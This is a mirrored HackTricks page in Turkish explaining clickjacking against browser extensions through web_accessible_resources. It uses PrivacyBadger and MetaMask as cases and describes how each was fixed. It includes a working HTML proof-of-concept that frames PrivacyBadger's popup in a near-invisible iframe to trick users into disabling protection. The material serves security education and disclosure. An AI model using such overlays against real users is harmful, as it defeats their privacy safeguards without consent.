mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
98 lines
5.3 KiB
Markdown
98 lines
5.3 KiB
Markdown
# BrowExt - ClickJacking
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Temel Bilgiler
|
||
|
||
Bu sayfa, bir Tarayıcı uzantısındaki ClickJacking açığını kötüye kullanacak.\
|
||
ClickJacking'in ne olduğunu bilmiyorsanız kontrol edin:
|
||
|
||
{{#ref}}
|
||
../clickjacking.md
|
||
{{#endref}}
|
||
|
||
Uzantılar, **`manifest.json`** dosyasını içerir ve bu JSON dosyasında `web_accessible_resources` alanı vardır. İşte [Chrome belgelerinde](https://developer.chrome.com/extensions/manifest/web_accessible_resources) bununla ilgili söylenenler:
|
||
|
||
> Bu kaynaklar, **`chrome-extension://[PACKAGE ID]/[PATH]`** URL'si aracılığıyla bir web sayfasında mevcut olacaktır; bu, **`extension.getURL method`** ile oluşturulabilir. Beyaz listeye alınmış kaynaklar, uygun CORS başlıkları ile sunulur, bu nedenle XHR gibi mekanizmalar aracılığıyla erişilebilir.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
||
|
||
Bir tarayıcı uzantısındaki **`web_accessible_resources`**, yalnızca web üzerinden erişilebilir değildir; aynı zamanda uzantının doğal ayrıcalıklarıyla da çalışır. Bu, onların şunları yapabilme yeteneğine sahip olduğu anlamına gelir:
|
||
|
||
- Uzantının durumunu değiştirmek
|
||
- Ek kaynaklar yüklemek
|
||
- Tarayıcı ile belirli bir ölçüde etkileşimde bulunmak
|
||
|
||
Ancak, bu özellik bir güvenlik riski taşır. Eğer **`web_accessible_resources`** içindeki bir kaynak önemli bir işlevselliğe sahipse, bir saldırgan bu kaynağı dış bir web sayfasına gömebilir. Bu sayfayı ziyaret eden dikkatsiz kullanıcılar, bu gömülü kaynağı istemeden etkinleştirebilir. Böyle bir etkinleştirme, uzantının kaynaklarının izinlerine ve yeteneklerine bağlı olarak istenmeyen sonuçlara yol açabilir.
|
||
|
||
## PrivacyBadger Örneği
|
||
|
||
PrivacyBadger uzantısında, `skin/` dizininin aşağıdaki şekilde `web_accessible_resources` olarak tanımlanmasıyla ilgili bir güvenlik açığı tespit edilmiştir (Orijinal [blog yazısını](https://blog.lizzie.io/clickjacking-privacy-badger.html) kontrol edin):
|
||
```json
|
||
"web_accessible_resources": [
|
||
"skin/*",
|
||
"icons/*"
|
||
]
|
||
```
|
||
Bu yapılandırma, potansiyel bir güvenlik sorununa yol açtı. Özellikle, tarayıcıdaki PrivacyBadger simgesi ile etkileşimde bulunulduğunda render edilen `skin/popup.html` dosyası, bir `iframe` içinde gömülebilir. Bu gömme, kullanıcıları "Bu Web Sitesi için PrivacyBadger'ı Devre Dışı Bırak" butonuna yanlışlıkla tıklamaya kandırmak için sömürülebilir. Böyle bir eylem, PrivacyBadger korumasını devre dışı bırakarak kullanıcının gizliliğini tehlikeye atar ve kullanıcıyı artan izlemeye maruz bırakabilir. Bu istismarın görsel bir gösterimi, [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm) adresinde sağlanan bir ClickJacking video örneğinde görülebilir.
|
||
|
||
Bu güvenlik açığını gidermek için basit bir çözüm uygulandı: `/skin/*`'in `web_accessible_resources` listesinden kaldırılması. Bu değişiklik, `skin/` dizininin içeriğinin web erişilebilir kaynaklar aracılığıyla erişilemez veya manipüle edilemez olmasını sağlayarak riski etkili bir şekilde azalttı.
|
||
|
||
Düzeltme kolaydı: **`web_accessible_resources`'dan `/skin/*`'i kaldırın**.
|
||
|
||
### PoC
|
||
```html
|
||
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
|
||
|
||
<style>
|
||
iframe {
|
||
width: 430px;
|
||
height: 300px;
|
||
opacity: 0.01;
|
||
float: top;
|
||
position: absolute;
|
||
}
|
||
|
||
#stuff {
|
||
float: top;
|
||
position: absolute;
|
||
}
|
||
|
||
button {
|
||
float: top;
|
||
position: absolute;
|
||
top: 168px;
|
||
left: 100px;
|
||
}
|
||
</style>
|
||
|
||
<div id="stuff">
|
||
<h1>Click the button</h1>
|
||
<button id="button">click me</button>
|
||
</div>
|
||
|
||
<iframe
|
||
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
|
||
</iframe>
|
||
```
|
||
## Metamask Örneği
|
||
|
||
A [**metamask'taki ClickJacking hakkında bir blog yazısı burada bulunabilir**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). Bu durumda, Metamask, erişim için kullanılan protokolün **`https:`** veya **`http:`** (örneğin **`chrome:`** değil) olduğunu kontrol ederek açığı kapattı:
|
||
|
||
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Metamask uzantısında düzeltildiği başka bir ClickJacking**, kullanıcıların `“web_accessible_resources”: [“inpage.js”, “phishing.html”]` nedeniyle bir sayfanın phishing olduğundan şüphelenildiğinde **Beyaz Listeye Tıklama** yapabilmeleriydi. O sayfa Clickjacking'e karşı savunmasız olduğundan, bir saldırgan, kurbanın fark etmeden beyaz listeye almak için tıklamasını sağlamak amacıyla normal bir şey göstererek bunu kötüye kullanabilir ve ardından beyaz listeye alınacak phishing sayfasına geri dönebilirdi.
|
||
|
||
## Steam Envanter Yardımcı Programı Örneği
|
||
|
||
Bir tarayıcı uzantısındaki **XSS**'nin bir **ClickJacking** açığı ile nasıl zincirleme yapıldığını kontrol etmek için aşağıdaki sayfayı kontrol edin:
|
||
|
||
{{#ref}}
|
||
browext-xss-example.md
|
||
{{#endref}}
|
||
|
||
## Referanslar
|
||
|
||
- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
|
||
- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|